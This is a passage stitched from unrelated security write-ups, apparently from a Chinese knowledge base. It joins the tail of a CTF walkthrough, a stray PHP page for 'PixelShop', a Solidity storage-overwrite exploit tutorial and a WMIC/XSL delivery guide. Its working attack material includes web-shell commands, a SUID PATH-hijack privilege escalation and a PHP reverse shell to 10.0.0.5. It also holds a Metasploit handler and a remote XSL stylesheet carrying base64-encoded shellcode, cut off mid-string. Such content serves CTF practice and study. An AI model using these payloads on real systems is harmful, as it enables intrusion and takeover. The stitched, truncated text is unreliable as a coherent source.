https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh " && echo <pre></pre> root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=ls -la /tmp" && echo <pre>total 60 drwxrwxrwt 2 root root 4096 Feb 12 20:21 . drwxr-xr-x 23 root root 4096 Feb 11 06:45 .. -rw-r--r-- 1 www-data www-data 46631 Feb 12 20:21 LinEnum.sh -rw-r--r-- 1 www-data www-data 113 Feb 12 20:20 shell </pre> root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=chmod +x /tmp/LinEnum.sh" && echo <pre></pre> root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=/tmp/LinEnum.sh > linout.txt" && echo <pre></pre> ``` One of the sections of the `LinEnum` report is about `SetUID` files: ``` SUID files: -rwsr-xr-x 1 root root 35600 Mar 29 2018 /sbin/mount.cifs -rwsr-xr-x 1 root root 8432 Jan 22 11:28 /bin/files -rwsr-xr-x 1 root root 26696 Aug 22 23:47 /bin/umount -rwsr-xr-x 1 root root 43088 Aug 22 23:47 /bin/mount -rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping -rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd -rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd -rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newuidmap -rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn -rwsr-xr-x 1 root root 149080 Jan 31 17:18 /usr/bin/sudo -rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newgidmap -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec -rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic -rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-sr-x 1 root root 109432 Oct 30 12:17 /usr/lib/snapd/snap-confine -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign ``` These executable files are able to run with the permissions of the owner, as opposed to regular executable files which run with the permissions of the current user. Most of the files are known and expected, but one of them stands out: ``` -rwsr-xr-x 1 root root 8432 Jan 22 11:28 /bin/files ``` What is this file? ```console root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=ls -al /bin/files" <pre>-rwsr-xr-x 1 root root 8432 Jan 22 11:28 /bin/files </pre> ``` If we try to run it, we get: ```console root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=/bin/files" <pre>gallery index.html index.php pages pics test.php web.css Welcome! This is your files: ``` This doesn't feel like a real tool. Let's dump it and take a closer look: ```console root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=cat /bin/files | base64" <pre>f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAEAYAAAAAAABAAAAAAAAAALAZAAAAAAAAAAAAAEAAOAAJ AEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA+AEAAAAAAAD4AQAAAAAAAAgA AAAAAAAAAwAAAAQAAAA4AgAAAAAAADgCAAAAAAAAOAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA AAAAAAABAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgJAAAAAAAAWAkAAAAAAAAAACAA AAAAAAEAAAAGAAAAoA0AAAAAAACgDSAAAAAAAKANIAAAAAAAcAIAAAAAAAB4AgAAAAAAAAAAIAAA AAAAAgAAAAYAAACwDQAAAAAAALANIAAAAAAAsA0gAAAAAADwAQAAAAAAAPABAAAAAAAACAAAAAAA AAAEAAAABAAAAFQCAAAAAAAAVAIAAAAAAABUAgAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA AFDldGQEAAAAFAgAAAAAAAAUCAAAAAAAABQIAAAAAAAAPAAAAAAAAAA8AAAAAAAAAAQAAAAAAAAA ``` We copy the file to our local host and decode it: ```console root@kali:/media/sf_CTFs/hoshen/3# cat files_base64.txt | base64 -d > files.elf root@kali:/media/sf_CTFs/hoshen/3# file files.elf files.elf: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2f94b5fff5379820dbdff60ed3652d152cb908e1, not stripped ``` Opening it with Ghidra, we see the following simple implementation: ```c undefined8 main(void) { setuid(0); setgid(0); puts("Welcome!"); puts("This is your files:"); system("ls"); return 1; } ``` ### Privilege Escalation What `/bin/files` does is to basically set the effective user to `root` and to run `ls` (as root). Naively, this prints the contents of the current working directory. But what if we can trick the program into executing a different `ls`, such as a script we choose to call `ls`? In that case, it will execute the script as root, running any commands we feed it. Let's do that. First, we set up a working directory: ```console root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=mkdir /tmp/.w" <pre></pre> ``` Then, we craft the script we want to run. Here it is: ```bash export PATH=/tmp/.w:$PATH cd /tmp/.w echo "/bin/ls -alR /root > /tmp/.w/out.txt" > ls chmod +x ls /bin/files ``` What this says is: 1. Update the `PATH` so that our working directory is first in the search path (before `/bin/ls`) 2. Cd into our working directory 3. Create the `ls` script we want to run: It will print the contents of `/root` into `out.txt` 4. Make the script executable 5. Run `/bin/files` which will execute our `ls` script We encode the script as base64 and upload it to the server, saving it as `script`: ```console root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell&command=ls" -X POST --data-urlencode "cmd=echo ZXhwb3J0IFBBVEg9L3RtcC8udzokUEFUSApjZCAvdG1wLy53CmVjaG8gIi9iaW4vbHMgLWFsUiAgL3Jvb3QgPiAvdG1wLy53L291dC50eHQiID4gbHMKY2htb2QgK3ggbHMKL2Jpbi9maWxlcw== | base64 -d > /tmp/.w/script" && echo ``` We make it executable: ```console root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=chmod +x /tmp/.w/script" ``` Run it, and read the result: ```console root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=/tmp/.w/script" <pre>Welcome! This is your files: </pre>root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=ls -al /tmp/.w" <pre>total 16 drwxr-xr-x 2 www-data www-data 4096 Feb 16 18:23 . drwxrwxrwt 3 root root 4096 Feb 16 18:21 .. -rwxr-xr-x 1 www-data www-data 32 Feb 16 18:23 ls -rw-r--r-- 1 root root 0 Feb 16 18:23 out.txt -rwxr-xr-x 1 www-data www-data 106 Feb 16 18:22 script </pre> root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=cat /tmp/.w/out.txt" <pre>/root: total 192 drwx------ 7 root root 4096 Feb 9 02:52 . drwxr-xr-x 23 root root 4096 Feb 11 06:45 .. -rw------- 1 root root 17256 Feb 13 13:53 .bash_history -rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc drwx------ 2 root root 4096 Jan 22 08:38 .cache drwx------ 3 root root 4096 Jan 22 08:38 .gnupg -rw------- 1 root root 28 Jan 22 09:06 .lesshst drwxr-xr-x 3 root root 4096 Jan 22 08:37 .local -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 66 Jan 22 08:40 .selected_editor drwx------ 2 root root 4096 Feb 8 19:08 .ssh -rw------- 1 root root 10723 Feb 9 02:52 .viminfo -rwxr-xr-x 1 root root 100 Jan 22 08:42 clearlog.sh -rwx------ 1 root root 110592 Jan 29 20:32 crackme.exe -r-------- 1 root root 257 Feb 2 14:35 flag.txt drwxr-xr-x 2 root root 4096 Feb 6 11:06 visitors /root/.cache: total 8 drwx------ 2 root root 4096 Jan 22 08:38 . drwx------ 7 root root 4096 Feb 9 02:52 .. -rw-r--r-- 1 root root 0 Jan 22 08:38 motd.legal-displayed /root/.gnupg: total 12 drwx------ 3 root root 4096 Jan 22 08:38 . drwx------ 7 root root 4096 Feb 9 02:52 .. drwx------ 2 root root 4096 Jan 22 08:38 private-keys-v1.d /root/.gnupg/private-keys-v1.d: total 8 drwx------ 2 root root 4096 Jan 22 08:38 . drwx------ 3 root root 4096 Jan 22 08:38 .. /root/.local: total 12 drwxr-xr-x 3 root root 4096 Jan 22 08:37 . drwx------ 7 root root 4096 Feb 9 02:52 .. drwx------ 3 root root 4096 Jan 22 08:37 share /root/.local/share: total 12 drwx------ 3 root root 4096 Jan 22 08:37 . drwxr-xr-x 3 root root 4096 Jan 22 08:37 .. drwx------ 2 root root 4096 Jan 22 08:37 nano /root/.local/share/nano: total 12 drwx------ 2 root root 4096 Jan 22 08:37 . drwx------ 3 root root 4096 Jan 22 08:37 .. -rw------- 1 root root 63 Feb 6 07:11 search_history /root/.ssh: total 12 drwx------ 2 root root 4096 Feb 8 19:08 . drwx------ 7 root root 4096 Feb 9 02:52 .. -rw------- 1 root root 2024 Feb 14 23:46 authorized_keys /root/visitors: total 588 drwxr-xr-x 2 root root 4096 Feb 6 11:06 . drwx------ 7 root root 4096 Feb 9 02:52 .. -rw-r--r-- 1 root root 426434 Feb 16 18:29 logged_users.txt -rw-r--r-- 1 root root 150271 Feb 16 18:29 total_visitors.txt -rw-r--r-- 1 root root 2659 Feb 16 18:20 uniq_visitors.txt </pre> ``` We read the `root` directory! We can dump the contents of `flag.txt` using the same method: ``` Send this md5 flag to: cyberchallenge2020@gmail.com with "flag" as Subject and we will contact you... ================================ a231d0273d108b9d3e00596304e2f5e0 ================================ Nice Job skid :). Now try to solve the next step... ``` And read `crackme.exe` as well (encoding it as base64), to get to the next level: ```console root@kali:/media/sf_CTFs/hoshen/3# file crackme.exe /root/CTFs/hoshen/crackme.exe: PE32 executable (console) Intel 80386, for MS Windows ``` ## Appendix A In the first few days of the CTF, it was possible to arrive to this challenge directly from the first challenge without decrypting the PCAP. This is a short description of how this could be done. After logging on to `cuser@104.43.243.221` via SSH, it was possible to run `nmap` and search for additional hosts on the same subnet. `10.0.0.7`, which is the internal address of `13.67.133.176`, was one of the hosts identified. It was then possible to perform a port scan and find port 80 open. Using SSH tunneling, it was possible to tunnel remote port 80 to a local port and view the website on a local browser: ```console root@kali:/media/sf_CTFs/hoshen/1# sshpass -p 'Sec0ndPh@se' ssh -N -L 9999:10.0.0.7:80 cuser@104.43.243.221 ``` The command above allows us to view the website on local port 9999: ```console root@kali:/media/sf_CTFs/hoshen/1# curl -s localhost:9999/index.php | grep Hostname <tr><td class="e">Hostname:Port </td><td class="v">13.67.133.176:80 </td></tr> ``` Since `index.php` called `phpinfo()`, it was possible to find the external address of the host. This also made it easier to open a reverse shell, saving the need to open ports in the router. First, we open a listner on `10.0.0.5` (which is the internal address of `104.43.243.221`): ```console cuser@HoshenCtf2:~$ nc -lvp 4445 Listening on [0.0.0.0] (family 0, port 4445) ``` Then, using the RCE exploit via the website, we run the following code on `10.0.0.7`: ```php <?php $sock = fsockopen("10.0.0.5",4445); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?> ``` Now, back to `10.0.0.5` for the reverse shell: ```console cuser@HoshenCtf2:~$ nc -lvp 4445 Listening on [0.0.0.0] (family 0, port 4445) Connection from 10.0.0.7 36238 received! /bin/sh: 0: can't access tty; job control turned off $ ls gallery index.html index.php pages pics test.php web.css $ ``` At some point, `nmap` and `nc` were removed and access to `10.0.0.7` was blocked.
sec-knowleage
<?php include 'common.php'; ?> <div class="figure"> <img src="images/mario.png" width="200" height="200" alt="Pixel Mario"> </div> <div class="article"> <h2>Welcome to PixelShop!</h2> <p> PixelShop lets you edit your pixel art to perfection. Edit colors, palettes and more, all for free.<br/> Get started by <a href="?op=upload">uploading a picture</a> or <a href="?op=new">creating a new picture.</a> </p> </div>
sec-knowleage
# Arbitrary Writing ## 原理 动态数组的任意 Storage 存储写漏洞,根据 [官方文档](https://docs.soliditylang.org/en/v0.8.1/internals/layout_in_storage.html#) 介绍,可总结如下 - EVM 中,有三个地方可以存储变量,分别是 Memory、Stack 和 Storage。Memory 和 Stack 是在执行期间临时生成的存储空间,主要负责运行时的数据存储,Storage 是永久存在于区块链中的变量。 + Memory: 内存,生命周期仅为整个方法执行期间,函数调用后回收,因为仅保存临时变量,故 GAS 开销很小 + Storage: 永久储存在区块链中,由于会永久保存合约状态变量,故 GAS 开销也最大 + Stack: 存放部分局部值类型变量,几乎免费使用的内存,但有数量限制 - EVM 对每一个智能合约维护了一个巨大的 **key-value** 的存储结构,用于持久化存储数据,我们称这片区域为 Storage。除了 map 映射变量和变长数组以外的所有类型变量,在 Storage 中是依次连续从 slot 0 开始排列的,一共有 2^256 个 slot,每个 slot 可以存储 32 字节的数据。Storage 存储结构是在合约创建的时候就确定好的,它取决于合约所声明状态变量,但是内容可以通过 Transaction 改变。 - Storage 变量大致分为 4 种类型:定长变量、结构体、map 映射变量和变长数组。如果多个变量占用的大小小于 32 字节,按照紧密打包原则,会尽可能打包到单个 slot 中,具体规则如下: + 在 slot 中,是按照低位对齐存储的,即大端序 + 基本类型变量存储时仅存储它们实际所需的字节数 + 如果基本类型变量不能放入某个 slot 余下的空间,它将被放入下一个 slot + map 和变长数组总是使用一个全新的 slot,并占用整个 slot,但对于其内部的每个变量,还是要遵从上面的规则 ### slot 计算规则 首先我们分析一下各种对象结构在 EVM 中的存储和访问情况 #### 定长变量和结构体 Solidity 中的定长定量在定义的时候,其长度就已经被限制住了。比如定长整型(uint、uint8),地址常量(address),定长字节数组(bytes1-32)等,这类的变量在 Storage 中是尽可能打包成 32 字节的块顺序存储的。 Solidity 的结构体并没有特殊的存储模型,在 Storage 中的存储可以按照定长变量规则分析。 #### Map 映射变量 在 Solidity 中,并不存储 map 的键,只存储键对应的值,值是通过键的 hash 索引来找到的。用 $slotM$ 表示 map 声明的 slot 位置,用 $key$ 表示键,用 $value$ 表示 $key$ 对应的值,用 $slotV$ 表示 $value$ 的存储位置,则 - $slotV = keccak256(key|slotM)$ - $value = sload(slotV)$ #### 变长数组 用 $slotA$ 表示变长数组声明的位置,用 $length$ 表示变长数组的长度,用 $slotV$ 表示变长数组数据存储的位置,用 $value$ 表示变长数组某个数据的值,用 $index$ 表示 $value$ 对应的索引下标,则 - $length = sload(slotA)$ - $slotV = keccak256(slotA) + index$ - $value = sload(slotV)$ 变长数组在编译期间无法知道数组的长度,没办法提前预留存储空间,所以 Solidity 就用 $slotA$ 位置存储了变长数组的长度 !!! note 注:变长数组具体数据存放在 keccak256 哈希计算之后的一片连续存储区域,这一点与 Map 映射变量不同。 ### 漏洞介绍 在以太坊 EVM 的设计思路中,所有的 Storage 变量共用一片大小为 2^256*32 字节的存储空间,没有各自的存储区域划分。 Storage 空间即使很大也是有限大小,当变长数组长度很大时,考虑极端情况,如果长度达到 2^256,则可对任意 Storage 变量进行读写操作,这是非常可怕的。 ## 例子 ### Source ```solidity pragma solidity ^0.4.24; contract ArrayTest { address public owner; bool public contact; bytes32[] public codex; constructor() public { owner = msg.sender; } function record(bytes32 _content) public { codex.push(_content); } function retract() public { codex.length--; } function revise(uint i, bytes32 _content) public { codex[i] = _content; } } ``` 这里攻击者如何才能成为 owner 呢?其中 owner 最初为 0x73048cec9010e92c298b016966bde1cc47299df5 ### Analyse - 数组 codex 的 slot 为 1 ,同时这也是存储数组 length 的地方,而 codex 的实际内容存储在 keccak256(bytes32(1)) 开始的位置 !!! info Keccak256 是紧密打包的,意思是说参数不会补位,多个参数也会直接连接在一起,所以要用 keccak256(bytes32(1)) - 这样我们就知道了 codex 实际的存储的 slot ,可以将动态数组内变量的存储位计算方法概括为: array[index] == sload(keccak256(slot(array)) + index). - 因为总共有 2^256 个 slot ,要修改 slot 0 ,假设 codex 实际所在 slot x ,(对于本题来说,数组的 slot是 1 , x=keccak256(bytes32(1))) ,那么当我们修改 codex[y],(y=2^256-x+0) 时就能修改 slot 0 ,从而修改 owner - 计算 codex 位置为 slot 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 - 所以 y = 2^256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 0 - 即 y = 35707666377435648211887908874984608119992236509074197713628505308453184860938 - 可以看到 y 很大,我们要修改 codex[y] ,那就要满足 y < codex.length ,而这个时候 codex.length =0 ,但是我们可以通过 retract() 使 length 下溢,然后就可以操纵 codex[y] 了 - 由上面已经计算出 codex[35707666377435648211887908874984608119992236509074197713628505308453184860938] 对应的存储位就是 slot 0 ,而 slot 0 中同时存储了 contact 和 owner ,我们只需将 owner 换成 attacker 即可,假设 attacker 地址是 0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2,则如下所示 ``` contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x00000000000000000000000088d3052d12527f1fbe3a6e1444ea72c4ddb396c2') ``` ## 题目 ### XCTF_final 2019 - 题目名称 Happy_DOuble_Eleven ### Balsn 2019 - 题目名称 Bank ### 第一届钓鱼城杯 2020 - 题目名称 StrictMathematician ### RCTF 2020 - 题目名称 roiscoin !!! note 注:题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 ### Wmic简介: WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。WMIC改变了这种情况。 **说明:**Wmic.exe所在路径已被系统添加PATH环境变量中,因此,Wmic命令可识别,需注意x86,x64位的Wmic调用。 Windows 2003 默认位置: ```bash C:\WINDOWS\system32\wbem\wmic.exe C:\WINDOWS\SysWOW64\wbem\wmic.exe ``` Windows 7 默认位置: ```bash C:\Windows\System32\wbem\WMIC.exe C:\Windows\SysWOW64\wbem\WMIC.exe ``` **攻击机:** 192.168.1.4 Debian **靶机:** 192.168.1.119 Windows 2003 192.168.1.5 Windows 7 ### 配置攻击机msf: ```bash msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target 23 ``` ![](media/b48a63a7b8dc65c874cfbc5a624c3441.jpg) ### 靶机执行: **Windows 7:** ```bash C:\Windows\SysWOW64\wbem\WMIC.exe os get /format:"http://192.168.1.4/Micropoor.xsl" ``` ![](media/739a77fc254c6ee0022c0d659604b805.jpg) ![](media/8efda9d1fa52d730918a573936128982.jpg) **Windows 2003:** ![](media/6dc9319ccfc77a880c4884f50123d5c7.jpg) ![](media/a9c870954f9e489117b0fcb42fef90c0.jpg) ```bash WMIC.exe os get /format:"http://192.168.1.4/Micropoor_2003.xsl" ``` ![](media/2815861c10d1da765b0c3b4456425efc.jpg) ### 附录: **Micropoor_Win7.xsl:** ```javascript <?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas‐microsoft‐com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements‐prefix="user" language="JScript"> <![CDATA[ function setversion() { } function debug(s) {} function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms; } var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+ "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+ "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+ "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+ "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+ "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+ "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+ "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+ "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+ "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+ "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+ "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+ "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+ "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+ "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+ "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+ "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+ "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+ "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+ "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+ "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+ "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+ "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVC1CXAAAAAAA"+ "AAAA4AACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"+ "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAwCkA"+ "AEsAAAAAQAAA0AIAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+ "AAAALnRleHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAA0AIAAABA"+ "AAAABAAAAA4AAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAAAAAAAAA"+ "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAAIABQBEIgAAfAcAAAMAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoBAAACgAA"+ "KAIAAAYAACoAAAAAAAAA/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH"+ "4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiL"+ "WCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/"+ "0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/"+ "1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBW"+ "U1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMp"+ "xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAwAABCgGAAAKChYGjml+"+ "AQAABH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHEQQWEgMo"+ "BAAABgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAdjQuMC4z"+ "MDMxOQAAAAAFAGwAAABgAgAAI34AAMwCAABkAwAAI1N0cmluZ3MAAAAAMAYAAAgAAAAjVVMAOAYA"+ "ABAAAAAjR1VJRAAAAEgGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWAAABAAAA"+ "DwAAAAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEAAAAB"+ "AAAAAQAAAAAACgABAAAAAAAGAEsARAAGAFsBPwEGAHcBPwEGAKYBhgEGAMYBhgEGAPcBRAAGAEEC"+ "hgEGAFwCRAAGAJgChgEGAKcCRAAGAK0CRAAGANACRAAGAAID4wIGABQD4wIGAEcDNwMAAAAAAQAA"+ "AAAAAQABAAEAEAAhACkABQABAAEAAAAAAPwBAAAFAAMABwATAQAAZgIAACEABAAHABEAXQASABEA"+ "aAASABMBhAI+AFAgAAAAAIYYUgAKAAEAwCEAAAAAkQBYAA4AAQAAAAAAgACRIH8AFQABAAAAAACA"+ "AJEgjAAdAAUAAAAAAIAAkSCZACgACwAxIgAAAACRGDADDgANAAAAAQCtAAAAAgC5AAAAAwC+AAAA"+ "BADPAAAAAQDZAAAAAgDsAAAAAwD4AAAABAAHAQAABQANAQAABgAdAQAAAQAoAQAAAgAwAREAUgAu"+ "ACEAUgA0ACkAUgAKAAkAUgAKADkAUgAKAEkAwAJCAGEA1wJKAGkACgNPAGEADwNYAHEAUgBkAHkA"+ "UgAKACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEAVQEAAAQAWwAnAwABBwB/AAEAAAEJ"+ 